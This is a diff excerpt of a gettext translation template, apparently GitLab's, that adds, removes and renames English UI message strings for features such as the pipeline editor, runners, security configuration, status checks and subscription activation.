+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23896,6 +24379,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23953,6 +24439,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23974,6 +24463,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24028,6 +24520,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24058,9 +24553,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24358,9 +24850,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24397,6 +24895,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24406,6 +24907,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24439,9 +24943,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24469,6 +24970,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24625,6 +25129,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24979,7 +25486,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25237,6 +25744,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25390,9 +25900,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25867,9 +26374,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25921,12 +26425,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25939,6 +26437,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25951,9 +26452,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25969,10 +26467,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25981,9 +26479,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26731,9 +27226,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26743,6 +27235,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26842,7 +27337,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27076,9 +27571,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27094,6 +27586,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28045,6 +28540,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28633,16 +29140,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28657,6 +29173,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28669,6 +29188,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28681,10 +29203,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28693,6 +29215,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28747,6 +29272,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28765,9 +29293,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28789,9 +29314,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28960,6 +29482,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29026,6 +29551,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29260,6 +29788,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29413,9 +29944,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29650,9 +30178,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29893,6 +30418,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29986,6 +30517,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30223,6 +30757,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30529,6 +31066,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30544,10 +31084,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30769,18 +31312,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30814,9 +31396,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30871,6 +31450,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30976,6 +31558,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31087,6 +31672,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31111,6 +31699,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31222,42 +31813,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31267,18 +31909,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31297,6 +31969,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31519,6 +32194,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31675,9 +32353,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31819,6 +32494,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31849,7 +32527,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31873,6 +32551,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32065,6 +32746,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32110,6 +32794,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32128,9 +32815,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32434,9 +33118,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32503,12 +33184,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32536,6 +33211,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32599,9 +33277,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32644,9 +33319,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32770,7 +33442,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32872,9 +33547,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33208,6 +33880,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33250,9 +33925,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33277,6 +33949,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33328,9 +34003,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33361,12 +34033,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33376,6 +34042,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33427,6 +34096,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33604,9 +34276,6 @@ msgstr[2] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33721,9 +34390,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33841,13 +34507,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33877,9 +34543,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34078,6 +34741,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34303,6 +34969,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34546,6 +35215,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34705,6 +35377,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35026,6 +35701,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35035,6 +35713,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35143,27 +35824,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35296,6 +35995,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35317,6 +36019,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35428,6 +36133,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35995,15 +36703,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36043,9 +36751,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36073,16 +36778,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
